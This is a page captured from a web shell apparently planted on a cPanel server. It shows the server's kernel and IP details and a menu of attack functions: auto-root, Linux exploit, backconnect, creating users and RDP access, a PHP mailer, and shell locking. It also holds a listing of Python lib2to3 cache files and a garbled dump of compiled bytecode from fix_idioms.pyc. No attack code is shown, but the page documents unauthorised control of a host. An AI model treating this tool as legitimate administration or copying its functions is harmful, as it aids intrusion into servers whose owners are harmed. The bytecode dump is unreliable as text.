Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.69.214.199
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3.10 /
lib2to3 /
fixes /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.cpython-310.pyc
138
B
-rw-r--r--
fix_apply.cpython-310.pyc
1.61
KB
-rw-r--r--
fix_asserts.cpython-310.pyc
1.25
KB
-rw-r--r--
fix_basestring.cpython-310.pyc
661
B
-rw-r--r--
fix_buffer.cpython-310.pyc
806
B
-rw-r--r--
fix_dict.cpython-310.pyc
3.21
KB
-rw-r--r--
fix_except.cpython-310.pyc
2.71
KB
-rw-r--r--
fix_exec.cpython-310.pyc
1.1
KB
-rw-r--r--
fix_execfile.cpython-310.pyc
1.64
KB
-rw-r--r--
fix_exitfunc.cpython-310.pyc
2.25
KB
-rw-r--r--
fix_filter.cpython-310.pyc
2.38
KB
-rw-r--r--
fix_funcattrs.cpython-310.pyc
974
B
-rw-r--r--
fix_future.cpython-310.pyc
782
B
-rw-r--r--
fix_getcwdu.cpython-310.pyc
786
B
-rw-r--r--
fix_has_key.cpython-310.pyc
2.81
KB
-rw-r--r--
fix_idioms.cpython-310.pyc
3.81
KB
-rw-r--r--
fix_import.cpython-310.pyc
2.75
KB
-rw-r--r--
fix_imports.cpython-310.pyc
4.52
KB
-rw-r--r--
fix_imports2.cpython-310.pyc
544
B
-rw-r--r--
fix_input.cpython-310.pyc
948
B
-rw-r--r--
fix_intern.cpython-310.pyc
1.1
KB
-rw-r--r--
fix_isinstance.cpython-310.pyc
1.52
KB
-rw-r--r--
fix_itertools.cpython-310.pyc
1.51
KB
-rw-r--r--
fix_itertools_imports.cpython-...
1.53
KB
-rw-r--r--
fix_long.cpython-310.pyc
709
B
-rw-r--r--
fix_map.cpython-310.pyc
3
KB
-rw-r--r--
fix_metaclass.cpython-310.pyc
5.28
KB
-rw-r--r--
fix_methodattrs.cpython-310.py...
936
B
-rw-r--r--
fix_ne.cpython-310.pyc
809
B
-rw-r--r--
fix_next.cpython-310.pyc
3
KB
-rw-r--r--
fix_nonzero.cpython-310.pyc
921
B
-rw-r--r--
fix_numliterals.cpython-310.py...
1021
B
-rw-r--r--
fix_operator.cpython-310.pyc
4.05
KB
-rw-r--r--
fix_paren.cpython-310.pyc
1.35
KB
-rw-r--r--
fix_print.cpython-310.pyc
2.25
KB
-rw-r--r--
fix_raise.cpython-310.pyc
2.2
KB
-rw-r--r--
fix_raw_input.cpython-310.pyc
793
B
-rw-r--r--
fix_reduce.cpython-310.pyc
1.1
KB
-rw-r--r--
fix_reload.cpython-310.pyc
1.12
KB
-rw-r--r--
fix_renames.cpython-310.pyc
1.98
KB
-rw-r--r--
fix_repr.cpython-310.pyc
843
B
-rw-r--r--
fix_set_literal.cpython-310.py...
1.64
KB
-rw-r--r--
fix_standarderror.cpython-310....
718
B
-rw-r--r--
fix_sys_exc.cpython-310.pyc
1.38
KB
-rw-r--r--
fix_throw.cpython-310.pyc
1.76
KB
-rw-r--r--
fix_tuple_params.cpython-310.p...
4.48
KB
-rw-r--r--
fix_types.cpython-310.pyc
1.9
KB
-rw-r--r--
fix_unicode.cpython-310.pyc
1.52
KB
-rw-r--r--
fix_urllib.cpython-310.pyc
5.74
KB
-rw-r--r--
fix_ws_comma.cpython-310.pyc
1.09
KB
-rw-r--r--
fix_xrange.cpython-310.pyc
2.47
KB
-rw-r--r--
fix_xreadlines.cpython-310.pyc
1.09
KB
-rw-r--r--
fix_zip.cpython-310.pyc
1.54
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fix_idioms.cpython-310.pyc
o ��bc � @ sN d Z ddlmZ ddlmZmZmZmZmZm Z dZ dZG dd� dej�Z dS ) a� Adjust some old Python 2 idioms to their modern counterparts. * Change some type comparisons to isinstance() calls: type(x) == T -> isinstance(x, T) type(x) is T -> isinstance(x, T) type(x) != T -> not isinstance(x, T) type(x) is not T -> not isinstance(x, T) * Change "while 1:" into "while True:". * Change both v = list(EXPR) v.sort() foo(v) and the more general v = EXPR v.sort() foo(v) into v = sorted(EXPR) foo(v) � )� fixer_base)�Call�Comma�Name�Node� BlankLine�symsz0(n='!=' | '==' | 'is' | n=comp_op< 'is' 'not' >)z(power< 'type' trailer< '(' x=any ')' > >c sP e Zd ZdZdeeeef Z� fdd�Zdd� Zdd� Z d d � Z dd� Z� ZS ) � FixIdiomsTa� isinstance=comparison< %s %s T=any > | isinstance=comparison< T=any %s %s > | while_stmt< 'while' while='1' ':' any+ > | sorted=any< any* simple_stmt< expr_stmt< id1=any '=' power< list='list' trailer< '(' (not arglist<any+>) any ')' > > > '\n' > sort= simple_stmt< power< id2=any trailer< '.' 'sort' > trailer< '(' ')' > > '\n' > next=any* > | sorted=any< any* simple_stmt< expr_stmt< id1=any '=' expr=any > '\n' > sort= simple_stmt< power< id2=any trailer< '.' 'sort' > trailer< '(' ')' > > '\n' > next=any* > c s8 t t| ��|�}|rd|v r|d |d kr|S d S |S )N�sorted�id1�id2)�superr �match)�self�node�r�� __class__� �//usr/lib/python3.10/lib2to3/fixes/fix_idioms.pyr O s zFixIdioms.matchc C sD d|v r | � ||�S d|v r| �||�S d|v r| �||�S td��)N� isinstance�whiler z Invalid match)�transform_isinstance�transform_while�transform_sort�RuntimeError)r r �resultsr r r � transformZ s zFixIdioms.transformc C sh |d � � }|d � � }d|_d|_ttd�|t� |g�}d|v r.d|_ttjtd�|g�}|j|_|S )N�x�T� � r �n�not)�clone�prefixr r r r r �not_test)r r r r r �testr r r r d s zFixIdioms.transform_isinstancec C s |d }|� td|jd�� d S )Nr �True�r% )�replacer r% )r r r �oner r r r p s zFixIdioms.transform_whilec C s |d }|d }|� d�}|� d�}|r|�td|jd�� n|r7|�� }d|_|�ttd�|g|jd�� ntd��|�� |j}d |v r�|r^|�d �d |d jf} d � | �|d _d S |j scJ �|jd u sjJ �t� } |j � | � |j| u szJ �|�d �d | _d S d S )N�sort�next�list�exprr r) r zshould not have reached here� � )�getr* r r% r$ r r �remove� rpartition�join�parent�next_siblingr �append_child)r r r � sort_stmt� next_stmt� list_call�simple_expr�new�btwn�prefix_lines�end_liner r r r t s4 � �zFixIdioms.transform_sort) �__name__� __module__�__qualname__�explicit�TYPE�CMP�PATTERNr r r r r � __classcell__r r r r r % s %�' r N)�__doc__r r � fixer_utilr r r r r r rF rE �BaseFixr r r r r �<module> s
Close